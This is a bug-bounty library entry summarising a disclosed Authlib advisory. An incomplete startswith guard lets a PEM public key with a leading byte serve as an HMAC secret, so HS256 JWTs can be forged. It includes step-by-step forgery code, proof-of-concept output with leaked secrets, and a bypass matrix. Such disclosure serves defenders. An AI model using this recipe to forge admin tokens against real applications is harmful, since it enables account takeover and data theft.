# Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys

Authlib's anchored startswith guard misses PEM public keys with a leading byte, letting attackers forge HS256 JWTs using the public key as HMAC secret.

- Payout: Research
- Severity: high
- Program: Authlib
- Found by: zer0d4y5
- Disclosed: 2026-10-27
- CVE: CVE-2026-114615
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-7vr2-2fgp-9w7p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7vr2-2fgp-9w7p
- Tags: area:oss domain:oss impact:ato kind:research platform:ghsa sev:high tech:jwt tech:python technique:incomplete-fix technique:parser-differential vuln:auth-bypass vuln:crypto

**Target:** authlib.jose OctKey.import_key / JsonWebToken.decode
**Root cause:** OctKey.import_key rejects unsafe keys with bytes.startswith(POSSIBLE_UNSAFE_KEYS), anchored at offset 0, while cryptography's load_pem_public_key scans forward for the armour header, so any leading byte (newline, space, BOM, comment) makes a public key unrecognised and usable as an HMAC secret.
**Steps:**
1. pip install authlib==1.8.0 cryptography flask requests
2. Generate RSA-2048 keypair; serialise public key to PEM and prepend a single newline (or indent, BOM, comment line)
3. Confirm POSSIBLE_UNSAFE_KEYS does not match via startswith while load_pem_public_key loads the bytes
4. `from authlib.jose import jwt`; `tok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)`
5. `jwt.decode(tok, mutated_pem)` succeeds and returns forged claims
**How found:** Noticed the CVE-2024-37568 fix was a single anchored startswith guard, then compared the recogniser's byte set against what cryptography's PEM loader accepts, finding the loader tolerates leading bytes the guard does not.
**Exploitation:** Attacker obtains the issuer's public verification key (public by definition, e.g. /.well-known/jwks.json), crafts an HS256 token with arbitrary claims signed using the mutated PEM bytes as HMAC secret, and submits it to an app calling the documented module-level jwt.decode(token, PUBLIC_KEY); verification passes and admin claims are accepted.
**Escalation:** Forged claims include role=admin and arbitrary sub, yielding HTTP 200 and application admin secrets in the PoC.
**Insight:** When a security fix is a byte-prefix denylist guarding a parser, diff the denylist's accepted set against the actual loader's tolerance (leading whitespace, BOM, comments, DER) — any gap reopens the original attack; prefer deciding key family by attempting the loader itself.

## Proof of concept (copied exactly from the original report)

**Forged HS256 token accepted via prefixed public key**

```
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK    ] HS256 forged with the PUBLIC key          -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
```

**Reproduction steps for HMAC forgery**

```
1. `pip install authlib==1.8.0 cryptography flask requests`
2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline
   (or indent it, or prepend a BOM or a comment line).
3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with
   `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.
4. `from authlib.jose import jwt` then
   `tok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)`
5. `jwt.decode(tok, mutated_pem)` — verification succeeds and the claims are returned.
```

**Per-form bypass matrix for RSA and EC keys**

```
### RSA-2048/RS256
  canonical PEM  (CONTROL A)   loader=load_pem_public_key  startswith_guard=True  RS/ES-verify=OK   BLOCKED:ValueError
  indented PEM   (4 spaces)    loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  UTF-8 BOM prefix             loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  leading comment line         loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  leading blank line           loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  leading single space         loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  DER (SPKI) bytes             loader=load_der_public_key  startswith_guard=False RS/ES-verify=FAIL  FORGED sub=superadmin role=admin
  [CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError

### EC-P256/ES256
  identical results for all seven rows

Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
```

